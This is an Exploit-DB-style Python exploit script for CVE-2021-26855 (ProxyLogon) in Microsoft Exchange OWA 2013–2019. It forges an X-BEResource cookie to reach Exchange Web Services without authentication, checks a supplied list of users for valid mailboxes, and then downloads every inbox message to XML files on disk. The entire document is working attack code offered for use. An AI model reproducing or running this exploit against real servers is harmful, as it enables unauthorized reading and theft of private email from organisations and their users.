# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download # Date: 03-11-2021 # Exploit Author: Gonzalo Villegas a.k.a Cl34r # Vendor Homepage: https://www.microsoft.com/ # Version: OWA Exchange 2013 - 2019 # Tested on: OWA 2016 # CVE : CVE-2021-26855 # Details: checking users mailboxes and automated downloads of emails import requests import argparse import time from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) __proxies__ = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"} # for debug on proxy # needs to specifies mailbox, will return folder Id if account exists payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <m:GetFolder> <m:FolderShape> <t:BaseShape>AllProperties</t:BaseShape> </m:FolderShape> <m:FolderIds> <t:DistinguishedFolderId Id="inbox"> <t:Mailbox> <t:EmailAddress>{}</t:EmailAddress> </t:Mailbox> </t:DistinguishedFolderId> </m:FolderIds> </m:GetFolder> </soap:Body> </soap:Envelope> """ # needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails) payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <m:FindItem Traversal="Shallow"> <m:ItemShape> <BaseShape>AllProperties</BaseShape></m:ItemShape> <SortOrder/> <m:ParentFolderIds> <t:FolderId Id="{}" ChangeKey="{}"/> </m:ParentFolderIds> <QueryString/> </m:FindItem> </soap:Body> </soap:Envelope> """ # needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox payload_get_mail = """<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetItem xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow"> <ItemShape> <t:BaseShape>Default</t:BaseShape> </ItemShape> <ItemIds> <t:ItemId Id="{}" ChangeKey="{}"/> </ItemIds> </GetItem> </soap:Body> </soap:Envelope> """ def getFQDN(url): print("[*] Getting FQDN from headers") rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata") if "X-FEServer" in rs.headers: return rs.headers["X-FEServer"] else: print("[-] Can't get FQDN ") exit(0) def extractEmail(url, uri, user, fqdn, content_folderid, path): headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn), "Content-Type": "text/xml", "User-Agent": "Mozilla pwner"} from xml.etree import ElementTree as ET dom = ET.fromstring(content_folderid) for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'): id_folder = p[0].attrib.get("Id") change_key_folder = p[0].attrib.get("ChangeKey") data = payload_get_items_id_folder.format(id_folder, change_key_folder) random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"] rs = requests.post(url + uri, data=data, headers=headers, verify=False) if "ErrorAccessDenied" in rs.text: print("[*] Denied ;(.. retrying") t_uri = uri.split("/")[-1] for ru in random_uris: print("[*] Retrying with {}".format(uri.replace(t_uri, ru))) rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False) if "NoError" in rs.text: print("[+] data found, dowloading email") break print("[+]Getting mails...") dom_messages = ET.fromstring(rs.text) messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items') for m in messages: id_message = m[0].attrib.get("Id") change_key_message = m[0].attrib.get("ChangeKey") data = payload_get_mail.format(id_message, change_key_message) random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"] rs = requests.post(url + uri, data=data, headers=headers, verify=False) if "ErrorAccessDenied" in rs.text: print("[*] Denied ;(.. retrying") t_uri = uri.split("/")[-1] for ru in random_uris: print("[*] Retrying with {}".format(uri.replace(t_uri, ru))) rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False) if "NoError" in rs.text: print("[+] data found, downloading email") break try: f = open(path + "/" + user.replace("@", "_").replace(".", "_")+"_"+change_key_message.replace("/", "").replace("\\", "")+".xml", 'w+') f.write(rs.text) f.close() except Exception as e: print("[!] Can't write .xml file to path (email): ", e) def checkURI(url, fqdn): headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn), "Content-Type": "text/xml", "User-Agent": "Mozilla hehe"} arr_uri = ["//ecp/xxx.js", "/ecp/favicon.ico", "/ecp/auth.js"] for uri in arr_uri: rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format("thisisnotanvalidmail@pwn.local"), headers=headers) #print(rs.content) if rs.status_code == 200 and "MessageText" in rs.text: print("[+] Valid URI:", uri) calculated_domain = rs.headers["X-CalculatedBETarget"].split(".") if calculated_domain[-2] in ("com", "gov", "gob", "edu", "org"): calculated_domain = calculated_domain[-3] + "." + calculated_domain[-2] + "." + calculated_domain[-1] else: calculated_domain = calculated_domain[-2] + "." + calculated_domain[-1] return uri, calculated_domain #time.sleep(1) print("[-] No valid URI found ;(") exit(0) def checkEmailBoxes(url, uri, user, fqdn, path): headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn), "Content-Type": "text/xml", "User-Agent": "Mozilla hehe"} rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user), headers=headers) #time.sleep(1) #print(rs.content) if "ResponseCode" in rs.text and "ErrorAccessDenied" in rs.text: print("[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable".format(user)) if "ResponseCode" in rs.text and "NoError" in rs.text: print("[+] Valid Email Found!: {}".format(user)) extractEmail(url, uri, user, fqdn, rs.text, path) if "ResponseCode" in rs.text and "ErrorNonExistentMailbox" in rs.text: print("[-] Not Valid Email: {}".format(user)) def main(): __URL__ = None __FQDN__ = None __mailbox_domain__ = None __path__ = None print("[***** OhhWAA *****]") parser = argparse.ArgumentParser(usage="Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>") parser.add_argument('-u', "--url", help="Url, provide schema and not final / (eg https://example.org)", required=True) parser.add_argument('-l', "--list", help="Users mailbox list", required=True) parser.add_argument("-p", "--path", help="Path to write emails in xml format", required=True) parser.add_argument('-f', "--fqdn", help="FQDN", required=False, default=None) parser.add_argument("-d", "--domain", help="Domain to check mailboxes (eg if .local dont work)", required=False, default=None) args = parser.parse_args() __URL__ = args.url __FQDN__ = args.fqdn __mailbox_domain__ = args.domain __list_users__ = args.list __valid_users__ = [] __path__ = args.path if not __FQDN__: __FQDN__ = getFQDN(__URL__) print("[+] Got FQDN:", __FQDN__) valid_uri, calculated_domain = checkURI(__URL__, __FQDN__) if not __mailbox_domain__: __mailbox_domain__ = calculated_domain list_users = open(__list_users__, "r") for user in list_users: checkEmailBoxes(__URL__, valid_uri, user.strip()+"@"+__mailbox_domain__, __FQDN__, __path__) print("[!!!] FINISHED OhhWAA") if __name__ == '__main__': main()